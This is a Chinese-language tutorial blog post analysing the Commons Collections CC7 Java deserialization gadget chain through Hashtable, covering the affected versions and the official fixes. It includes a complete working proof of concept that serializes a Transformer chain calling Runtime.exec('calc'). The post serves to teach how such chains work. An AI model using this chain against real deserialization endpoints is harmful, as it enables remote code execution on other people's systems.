Java反序列化漏洞(九)- CommonsCollections7链
CC7 依旧是寻找 LazyMap 的触发点,这次用到了 Hashtable。
0x01 前置知识
Hashtable
Hashtable 与 HashMap 十分相似,是一种 key-value 形式的哈希表,但仍然存在一些区别:
- HashMap 继承 AbstractMap,而 Hashtable 继承 Dictionary ,可以说是一个过时的类。
- 两者内部基本都是使用“数组-链表”的结构,但是 HashMap 引入了红黑树的实现。
- Hashtable 的 key-value 不允许为 null 值,但是 HashMap 则是允许的,后者会将 key=null 的实体放在 index=0 的位置。
- Hashtable 线程安全,HashMap 线程不安全。
那既然两者如此相似,Hashtable 的内部逻辑能否触发反序列化漏洞呢?答案是肯定的。
Hashtable 的 readObject 方法中,最后调用了 reconstitutionPut
方法将反序列化得到的 key-value 放在内部实现的 Entry 数组 table 里。
reconstitutionPut
调用了 key 的 hashCode 方法。
这个调用逻辑是与 HashMap 差不多的。
0x02 攻击构造
攻击调用代码与 HashMap 几乎一模一样:
public class CC7 {
public static String fileName = "CC7.bin";
public static void main(String[] args) throws Exception {
// 初始化 HashMap
Hashtable<Object, Object> hashtable = new Hashtable<>();
// 创建 ChainedTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 创建一个空的 ChainedTransformer
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});
// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "sanshi");
hashtable.put(entry, "sanshi");
//用反射再改回真的chain
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, transformers);
//清空由于 hashtable.put 对 LazyMap 造成的影响
lazyMap.clear();
writeObjectToFile(hashtable, fileName);
readFileObject(fileName);
}
public static void writeObjectToFile(Serializable obj, String fileName) throws IOException {
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(fileName))) {
oos.writeObject(obj);
}
}
public static Object readFileObject(String fileName) throws IOException, ClassNotFoundException {
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName))) {
return ois.readObject();
}
}
}
0x03 总结
以上就是 CC7 链分析的全部内容了,最后总结一下。
1.利用说明:
- 用 Hashtable 代替 HashMap 触发 LazyMap 方式,与 CC6 HashMap 几乎一致。
2.Gadget 总结:
- kick-off gadget:
java.util.Hashtable#readObject()
- sink gadget:
org.apache.commons.collections.functors.InvokerTransformer#transform()
- chain gadget:
org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode()
3.利用链展示:
Hashtable.readObject()
TiedMapEntry.hashCode()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
4.依赖版本:
commons-collections : 3.1
0x04 CC链总结
1.利用条件:
- 1、3、5、6、7是Commons Collections<=3.2.1中存在的反序列化链。
- 2、4是Commons Collections 4.0以上中存在的反序列化链。
- 同时还对JDK的版本有要求,测试版本为1.7和1.8
2.修复方式:
官方是怎么修复漏洞的,Apache Commons Collections官⽅在2015年底得知序列化相关的问题后,就在两个分⽀上同时发布了新的版本,4.1和3.2.2
先看3.2.2,新版代码中增加了⼀个⽅法FunctorUtils#checkUnsafeSerialization
,⽤于检测反序列化是否安全。如果开发者没有设置全局配置org.apache.commons.collections.enableUnsafeSerialization=true
,即默认情况下会抛出异常。 这个检查在常⻅的危险Transformer类( InstantiateTransformer 、 InvokerTransformer 、 PrototypeFactory 、 CloneTransforme r 等的readObject⾥进⾏调⽤,所以,当我们反序列化包含这些对象时就会抛出⼀个异常:
Serialization support for org.apache.commons.collections.functors.InvokerTransformer is
disabled for security reasons. To enable it set system property
'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure
that your application does not de-serialize objects from untrusted sources
再看4.1,修复⽅式⼜不⼀样。4.1⾥,这⼏个危险Transformer类不再实现 Serializable 接⼝,也就 是说,他们⼏个彻底⽆法序列化和反序列化了
免责声明
免责声明:本博客的内容仅供合法、正当、健康的用途,切勿将其用于违反法律法规的行为。如因此导致任何法律责任或纠纷,本博客概不负责。谢谢您的理解与配合!